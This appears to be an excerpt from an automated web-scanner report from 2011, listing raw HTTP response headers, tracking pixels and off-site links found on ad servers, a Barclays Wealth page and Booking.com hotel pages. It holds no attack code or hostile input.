HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 03 Oct 2011 00:37:41 GMT Server: cafe Cache-Control: private Content-Length: 13423 X-XSS-Protection: 1; mode=block
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 03 Oct 2011 00:36:58 GMT Server: cafe Cache-Control: private Content-Length: 9539 X-XSS-Protection: 1; mode=block
HTTP/1.1 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 03 Oct 2011 00:35:10 GMT Server: cafe Cache-Control: private Content-Length: 13890 X-XSS-Protection: 1; mode=block
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: p270r=b$u-7#A.8Qp|i-1643195#2.8Qp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:10:24 GMT; Path=/ Set-Cookie: imp=a$le#1317600624289_282559054_ap3100_int|374#1316278116134_138322589_as3104_imp|308#1316265127233_137611811_as3107_imp|305#1315313297486_68372787_as3103_imp|; Domain=.teracent.net; Expires=Sat, 31-Mar-2012 00:10:24 GMT; Path=/tase P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html;charset=UTF-8 Content-Length: 352 Date: Mon, 03 Oct 2011 00:10:23 GMT Connection: close
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:58:02 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 7470 Content-Type: application/x-javascript
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:51:02 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 5814 Content-Type: application/x-javascript
HTTP/1.0 200 OK Server: Ultraseek 5.0.3 Date: Mon, 03 Oct 2011 00:08:37 GMT Content-type: text/html; charset=iso-8859-1 Content-length: 7727
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <script language="JavaScript" type="text/javascript">
<!-- Get conent page link from URL ...[SNIP]... </div> <a href="http://www.verity.com/"><img alt="Powered by Verity" src="/images/poweredby.gif" width=161 height=45 border=0 align=right> ...[SNIP]...
HTTP/1.1 200 OK Server: nginx/0.8.47 Date: Mon, 03 Oct 2011 00:27:28 GMT Content-Type: text/html Connection: keep-alive X-Powered-By: PHP/5.3.3 P3P: "policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM" Content-Length: 6174
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8">
HTTP/1.1 302 Moved Temporarily Server: Apache P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR BUS DSP ALL COR" Location: http://cas.criteo.com/delivery/admeld_map?match=4ec87822-8f33-4202-954a-f6f06a37734b Content-Length: 268 Content-Type: text/html; charset=iso-8859-1 Date: Sun, 02 Oct 2011 23:49:01 GMT Connection: close Set-Cookie: D41U=opt_out; expires=Wed, 22-Aug-2001 17:30:00 GMT; domain=.tag.admeld.com
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://cas.criteo.com/delivery/admeld_map?match=4ec87822-8f33-4202-954a-f6f06a37734b">here</a> ...[SNIP]...
HTTP/1.1 200 OK Server: TRP Apache-Coyote/1.1 p3p: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Last-Modified: Sun, 02 Oct 2011 07:27:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 9327 Cache-Control: max-age=600 Expires: Sun, 02 Oct 2011 23:58:54 GMT Date: Sun, 02 Oct 2011 23:48:54 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
HTTP/1.1 200 OK content-type: text/html date: Mon, 03 Oct 2011 00:31:31 GMT etag: W/"954f-4e79af98" last-modified: Wed, 21 Sep 2011 09:34:16 GMT p3p: CP="NON CUR OTPi OUR NOR UNI" vary: accept-encoding cache-control: public,max-age=3600 Content-Length: 38223
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xml:lang="en-GB" xmlns="http://www.w3.org/1999/xhtml" lang="en-GB"> <head> ...[SNIP]... <li> <a href="http://www.stockbrokers.barclays.co.uk/barx/loginToBARX.htm">BARXdirect</a> ...[SNIP]... <li> <a href="https://www.stockbrokers.barclays.co.uk/idv/Login1.asp?category=home&usecase=login&popup=&">Barclays Stockbrokers</a> ...[SNIP]... <li> <a href="https://www.gerrard.com/clientcentre/login.aspx">Gerrard Client Centre</a> ...[SNIP]... <li> <a href="https://www.barclayswealth.hk/onlinebanking">Hong Kong Online Banking</a> ...[SNIP]... <li> <a title="Singapore Wealth Online Banking" href="https://www.barclayswealth.sg/onlinebanking/">Singapore Online Banking</a> ...[SNIP]... <li> <a href="https://ecommerce.barcap.com/trader/efxdealer/">e-FX Dealer</a> ...[SNIP]... <li> <a href="https://www.barclayswealth.hk/onlinebanking">Hong Kong Online Banking</a> ...[SNIP]... <li> <a title="Singapore Wealth Online Banking" href="https://www.barclayswealth.sg/onlinebanking/">Singapore Online Banking</a> ...[SNIP]... <li> <a href="https://www.barclayswealth.ch/onlinebanking/">Switzerland Online Banking</a> ...[SNIP]... <!-- Advertiser 'UK Barclays Wealth c/o Sapient UK', Include user in segment 'Barclays Wealth Test Pixel' - DO NOT MODIFY THIS PIXEL IN ANY WAY --><img src="http://ad.yieldmanager.com/pixel?id=1020665&t=2" width="1" height="1" /> <!-- End of segment tag --> <img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1054619413/?label=uM-qCK-Q2gEQle7w9gM&guid=ON&script=0" /> <!-- Advertiser 'UK Barclays Wealth c/o Sapient UK', Conversion tracking 'Barclays_Wealth_News Letter Signup' - DO NOT MODIFY THIS PIXEL IN ANY WAY --> <img src="http://ad.yieldmanager.com/pixel?id=945912&t=2" width="1" height="1" /> <!-- End of conversion tag --> ...[SNIP]... <p> If you are not a Barclays Wealth International client yet, you can <a title="Sign up for a free 60 day trial of iAlert" href="https://secure.barclays.co.uk/international/ialert/bwiwebsite">sign up for a free 60 day trial of iAlert</a> and see how it could help you make more informed FX decisions. If you are already a client you can <a title="Sign up today" href="https://secure.barclays.co.uk/international/ialert/bwiwebsite">sign up today</a> ...[SNIP]... <p> <a title="Sign up today" href="https://secure.barclays.co.uk/international/ialert/bwiwebsite"><strong> ...[SNIP]... <p> <a title="Call me back" href="https://secure.barclays.co.uk/internationalenquiry/?lead=ialert"><img src="/Images/bwi_btn_call_me_back.png" /> ...[SNIP]... <div> <img alt="DCSIMG" id="DCSIMG" width="1" height="1" src="http://statse.webtrendslive.com/dcs0sd6z700000cpbndecaa4f_6n9k/njs.gif?dcsuri=/nojavascript&WT.js=No&WT.tv=8.6.2" /> </div> ...[SNIP]...
The response contains the following links to other domains:
http://delicious.com/save?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_d_h&title=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com¬es=Check out Hotel%20Commonwealth on Booking.com for: Best Price Guaranteed, 63 Guest reviews, No booking fees
http://reddit.com/submit?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_r_h&title=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com
http://twitter.com/intent/tweet?text=Check out this hotel! Hotel Commonwealth
http://twitter.com/intent/tweet?text=Help! Which hotel is best?
http://www.bebo.com/c/share?Url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_b_h&TitleHotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_gb_h&title=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com&annotation=Check out Hotel%20Commonwealth on Booking.com for: Best Price Guaranteed, 63 Guest reviews, No booking fees
http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_my_h&t=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com&l=3&c=Check out Hotel%20Commonwealth on Booking.com for: Best Price Guaranteed, 63 Guest reviews, No booking fees
<a id="share_hotel_history_fb" target="_blank" class="share_hotel_history_link jq_tooltip" href="http://www.facebook.com/share.php?u=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Fss%3Did%3A56255%26si%3Dho%26label%3Dsocnet_fb_hh_sh%26aid%3D339528" title="Share these hotels on Facebook." name="Share these hotels on Facebook."><img id="share_hotel_history_fb_img" class="use_sprites icon_social_media_fb" src="http://s.bstatic.com/static/img/transparent.png" /></a>
<a id="share_hotel_history_t" class="share_hotel_history_link jq_tooltip share_t" target="_blank" href="http://twitter.com/intent/tweet?text=Help! Which hotel is best?" title="Share these hotels on Twitter." data-shorturl="http://www.booking.com/searchresults.html?ss=id:56255&si=ho&label=socnet_t_hh_sh&aid=339529" name="Share these hotels on Twitter."><img id="share_hotel_history_t_img" class="use_sprites icon_social_media_twitter" src="http://s.bstatic.com/static/img/transparent.png" /></a> ...[SNIP]... 772539b0ca101;tmpl=mailafriend_standalone;url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Fss%3Did%3A56255%26si%3Dho%3Blabel%3Dsocnet_maf_hh_sh%3Baid%3D339530;title=Booking.com: Welcome;notes="><img class="use_sprites icon_social_media_mailafriend" src="http://s.bstatic.com/static/img/transparent.png" /></a> ...[SNIP]... </strong>" > <img class="thumb hotel" src="http://q.bstatic.com/images/hotel/square40/131/1314320.jpg" width="30" height="30" alt="hotel Westin Copley Place, Boston" /> </a> ...[SNIP]... <a href="/hotel/us/westin-copley-place.en-us.html?aid=323804;label=hotel-59554;sid=9fcdaabed9e2bb46b60772539b0ca101"><img class="use_sprites icon_plus" src="http://s.bstatic.com/static/img/transparent.png" alt="" /></a> ...[SNIP]... </strong>" > <img class="thumb hotel" src="http://s.bstatic.com/images/hotel/square40/562/562463.jpg" width="30" height="30" alt="hotel BEST WESTERN PLUS Boston the Inn at Longwood Medical, Boston" /> </a> ...[SNIP]... <a href="/hotel/us/best-western-boston-the-inn-at-longwood-medical.en-us.html?aid=323804;label=hotel-59554;sid=9fcdaabed9e2bb46b60772539b0ca101"><img class="use_sprites icon_plus" src="http://s.bstatic.com/static/img/transparent.png" alt="" /></a> ...[SNIP]... </strong>" > <img class="thumb hotel" src="http://r.bstatic.com/images/hotel/square40/283/2833172.jpg" width="30" height="30" alt="hotel Radisson Hotel Boston, Boston" /> </a> ...[SNIP]... <a href="/hotel/us/radison-boston.en-us.html?aid=323804;label=hotel-59554;sid=9fcdaabed9e2bb46b60772539b0ca101"><img class="use_sprites icon_plus" src="http://s.bstatic.com/static/img/transparent.png" alt="" /></a> ...[SNIP]... <li> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_gb_h&title=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com&annotation=Check out Hotel%20Commonwealth on Booking.com for: Best Price Guaranteed, 63 Guest reviews, No booking fees" id="gb" title="Bookmark this hotel page with Google Bookmarks" name="on Google">Google</a> </li> <li>
<a rel="250 nofollow" class="jq_tooltip share_t" target="_blank" href="http://twitter.com/intent/tweet?text=Check out this hotel! Hotel Commonwealth " id="t" data-shorturl="http://www.booking.com/hotel/us/c-boston-massachusettes.html?label=socnet_t_h&aid=339529" title="Share a link to this hotel page on Twitter" name="on Twitter">Twitter</a> ...[SNIP]... <li> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://www.bebo.com/c/share?Url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_b_h&TitleHotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com" id="b" title="Share a link to this hotel page on Bebo" name="on Bebo">Bebo</a> </li> <li> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_r_h&title=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com" id="r" title="Share a link to this hotel page on Reddit" name="on Reddit">Reddit</a> </li> <li class="cl"> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://delicious.com/save?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_d_h&title=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com¬es=Check out Hotel%20Commonwealth on Booking.com for: Best Price Guaranteed, 63 Guest reviews, No booking fees" id="d" title="Bookmark this hotel page with Delicious" name="on Delicious">Delicious</a> ...[SNIP]... <li class="cl"> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fc-boston-massachusettes.en.html%3Futm_content%3Dtext-cr%3Butm_medium%3DSPPC%3Butm_source%3Dtripad%3Butm_term%3Dhotel-59554%3Baid%3D323804%26label%3Dsocnet_my_h&t=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com&l=3&c=Check out Hotel%20Commonwealth on Booking.com for: Best Price Guaranteed, 63 Guest reviews, No booking fees" id="my" title="Share a link to this hotel page on MySpace" name="on MySpace">MySpace</a> ...[SNIP]... </style>
/>Parking</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Check in</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Check out</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Cancellation / Prepayment</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Children and extra beds</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" /> Pets</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Accepted credit cards</span> ...[SNIP]... <a title="Ready to book? Change your dates" id="top_link" href="#availability_target" onclick="blockdisplay(1);"><img src="http://s.bstatic.com/static/img/transparent.png" alt="Ready to book? Change your dates" title="Go to the top of the page" class="use_sprites icon_top" /> <span> ...[SNIP]... <div style="text-align:center;padding:3em;"><img src="http://r.bstatic.com/static/img/loading_filterbox.gif" alt="loading..." /></div> ...[SNIP]... <a title="Ready to book? Change your dates" id="top_link" href="#availability_target" onclick="blockdisplay(1);"><img src="http://s.bstatic.com/static/img/transparent.png" alt="Ready to book? Change your dates" title="Go to the top of the page" class="use_sprites icon_top" /> <span> ...[SNIP]... </span> <a id="share_popup_fb" class="fb_share" rel="250 nofollow" target="_blank" href="http://www.facebook.com/share.php?u=http://www.booking.com/hotel/us/c-boston-massachusettes.html?label=socnet_fb_h_shp&aid=339528" title="Share a link to this hotel page on Facebook" name="on Facebook"><img class="share_popup_img use_sprites icon_social_media_fb" src="http://s.bstatic.com/static/img/transparent.png" /></a> <a rel="250 nofollow" id="share_popup_t" class="share_t" target="_blank" href="http://twitter.com/intent/tweet?text=Check out this hotel! Hotel Commonwealth" id="t" title="Share a link to this hotel page on Twitter" data-shorturl="http://www.booking.com/hotel/us/c-boston-massachusettes.html?label=socnet_t_h&aid=339529" name="on Twitter"><img class="share_popup_img use_sprites icon_social_media_twitter" src="http://s.bstatic.com/static/img/transparent.png" /></a> ...[SNIP]... 3Baid%3D339530;title=Hotel%20Commonwealth, Boston - 63 Guest%20reviews on Booking.com;notes=Check out Hotel%20Commonwealth on Booking.com for: Best Price Guaranteed, 63 Guest reviews, No booking fees"><img class="share_popup_img use_sprites icon_social_media_mailafriend" src="http://s.bstatic.com/static/img/transparent.png" /></a> </span>
The response contains the following links to other domains:
http://delicious.com/save?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_d_h&title=Copley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com¬es=Check out Copley%20Square%20Hotel on Booking.com for: Best Price Guaranteed, 49 Guest reviews, No booking fees
http://reddit.com/submit?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_r_h&title=Copley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com
http://twitter.com/intent/tweet?text=Check out this hotel! Copley Square Hotel
http://www.bebo.com/c/share?Url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_b_h&TitleCopley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com
http://www.google.com/bookmarks/mark?op=edit&bkmk=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_gb_h&title=Copley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com&annotation=Check out Copley%20Square%20Hotel on Booking.com for: Best Price Guaranteed, 49 Guest reviews, No booking fees
http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_my_h&t=Copley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com&l=3&c=Check out Copley%20Square%20Hotel on Booking.com for: Best Price Guaranteed, 49 Guest reviews, No booking fees
<a rel="250 nofollow" class="jq_tooltip share_t" target="_blank" href="http://twitter.com/intent/tweet?text=Check out this hotel! Copley Square Hotel " id="t" data-shorturl="http://www.booking.com/hotel/us/copley-square.html?label=socnet_t_h&aid=339529" title="Share a link to this hotel page on Twitter" name="on Twitter">Twitter</a> ...[SNIP]... <li> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://www.bebo.com/c/share?Url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_b_h&TitleCopley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com" id="b" title="Share a link to this hotel page on Bebo" name="on Bebo">Bebo</a> </li> <li> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_r_h&title=Copley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com" id="r" title="Share a link to this hotel page on Reddit" name="on Reddit">Reddit</a> </li> <li class="cl"> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://delicious.com/save?url=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_d_h&title=Copley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com¬es=Check out Copley%20Square%20Hotel on Booking.com for: Best Price Guaranteed, 49 Guest reviews, No booking fees" id="d" title="Bookmark this hotel page with Delicious" name="on Delicious">Delicious</a> ...[SNIP]... <li class="cl"> <a rel="250 nofollow" class="jq_tooltip" target="_blank" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2Fwww.booking.com%2Fhotel%2Fus%2Fcopley-square.en.html%3Faid%3D335591%26label%3Dsocnet_my_h&t=Copley%20Square%20Hotel, Boston - 49 Guest%20reviews on Booking.com&l=3&c=Check out Copley%20Square%20Hotel on Booking.com for: Best Price Guaranteed, 49 Guest reviews, No booking fees" id="my" title="Share a link to this hotel page on MySpace" name="on MySpace">MySpace</a> ...[SNIP]... </style>
/>Parking</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Check in</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Check out</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Cancellation / Prepayment</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Children and extra beds</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" /> Pets</span> ...[SNIP]... <span><img src="http://s.bstatic.com/static/img/transparent.png" width="1" height="1" alt="" />Accepted credit cards</span> ...[SNIP]... <a title="Ready to book? Choose a room." id="top_link" href="#availability_target" onclick="blockdisplay(1);"><img src="http://s.bstatic.com/static/img/transparent.png" alt="Ready to book? Choose a room." title="Go to the top of the page" class="use_sprites icon_top" />
Choose a room.
</a> ...[SNIP]... <div style="text-align:center;padding:3em;"><img src="http://r.bstatic.com/static/img/loading_filterbox.gif" alt="loading..." /></div> ...[SNIP]... <a title="Ready to book? Choose a room." id="top_link" href="#availability_target" onclick="blockdisplay(1);"><img src="http://s.bstatic.com/static/img/transparent.png" alt="Ready to book? Choose a room." title="Go to the top of the page" class="use_sprites icon_top" />
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“We very much enjoyed our stay. Liked the location to ballpark, and other things. Rooms were excellent, specially like the size of our bathroom. Staff was very helpfull, and nice. We would stay again it was that enjoyable. Thank you ! Rena„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Rena, Bangor, U.S.A. <img src='http://s.bstatic.com/static/img/flags/16/us.png' alt='' /></em>" />
<img width="40" height="40" src="http://r.bstatic.com/images/hotel/square40/387/3871612.jpg" alt="" class="jq_tooltippex" title="<img src='http://q.bstatic.com/images/hotel/max300/387/3871612.jpg' /><br /><strong>Trump International New York, New York</strong>" />
<img src="http://s.bstatic.com/static/img/room_group_mini.gif" alt="Group US$ 1990" /> Group US$ 1990
</span> ...[SNIP]... </em>
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“Good attentivness by the staff and the great location
The bedrooms are very luxurious„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Gary, bushey heath, United Kingdom <img src='http://q.bstatic.com/static/img/flags/16/gb.png' alt='' /></em>" />
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“The location of this hotel can't be beat in NYC. Situated on Central Park South it is within walking distance of many must see sights, including Columbus Square, Times Square, Rockefeller Plaza/NBC 30 Rock,...„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Alessa, Pacifica, U.S.A. <img src='http://s.bstatic.com/static/img/flags/16/us.png' alt='' /></em>" />
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“The staff was friendly and efficient. The location was excellent.
<img width="40" height="40" src="http://q.bstatic.com/images/hotel/square40/385/3857354.jpg" alt="" class="jq_tooltippex" title="<img src='http://s.bstatic.com/images/hotel/max300/385/3857354.jpg' /><br /><strong>Hilton New York, New York</strong>" />
</td> ...[SNIP]... <span class="cheapest">
<img src="http://s.bstatic.com/static/img/room_single_mini.gif" alt="Single US$ 758" /> Single US$ 758
<img src="http://s.bstatic.com/static/img/room_group_mini.gif" alt="Group US$ 918" /> Group US$ 918
</span> ...[SNIP]... </em>
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“Besides the high quality service we received we really enjoyed having a full American breakfast each morning to start our day.„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Teresa, Kihei, U.S.A. <img src='http://s.bstatic.com/static/img/flags/16/us.png' alt='' /></em>" />
<img src="http://s.bstatic.com/static/img/room_group_mini.gif" alt="Group US$ 1488" /> Group US$ 1488
</span> ...[SNIP]... </em>
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“Easy access to the strip and shopping, right in the centre of Las Vegas. Loved the grand canyon helicopter tour, worth every penny.
„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Gina, North Chailey, United Kingdom <img src='http://q.bstatic.com/static/img/flags/16/gb.png' alt='' /></em>" />
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“The room was amazing. Very stylish and sexy. A great place to recover from a Vegas hang over.„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Meredith, Austin, TX, U.S.A. <img src='http://s.bstatic.com/static/img/flags/16/us.png' alt='' /></em>" />
<img width="40" height="40" src="http://s.bstatic.com/images/hotel/square40/222/2222526.jpg" alt="" class="jq_tooltippex" title="<img src='http://s.bstatic.com/images/hotel/max300/222/2222526.jpg' /><br /><strong>Hard Rock Hotel and Casino, Las Vegas</strong>" />
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“i loved the staff and how they made my stay very enjoyable. from the front desk to the bartenders even busers. this was my first time visitn vegas and the hard rock and casino was the best choice for my stay.„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Asia, newington, U.S.A. <img src='http://s.bstatic.com/static/img/flags/16/us.png' alt='' /></em>" />
<img width="40" height="40" src="http://q.bstatic.com/images/hotel/square40/214/2140804.jpg" alt="" class="jq_tooltippex" title="<img src='http://s.bstatic.com/images/hotel/max300/214/2140804.jpg' /><br /><strong>Desert Club Resort, Las Vegas</strong>" />
</td> ...[SNIP]... <span class="cheapest">
<img src="http://s.bstatic.com/static/img/room_group_mini.gif" alt="Group US$ 258" /> Group US$ 258
</span> ...[SNIP]... </em>
<img style="cursor: help" rel="300" class="jq_tooltip use_sprites icon_minibubble" src="http://s.bstatic.com/static/img/transparent.png" alt="" title="“I think the best part of our stay was the staff, they were all very helpful and happy to please. Staff like this make any stay enjoyable.„<br /><br/><img align='left' src=http://r.bstatic.com/static/img/miniperson.gif alt='' /> <em style='font-size: 94%'>Geraldine, Cairnlea, Australia <img src='http://q.bstatic.com/static/img/flags/16/au.png' alt='' /></em>" />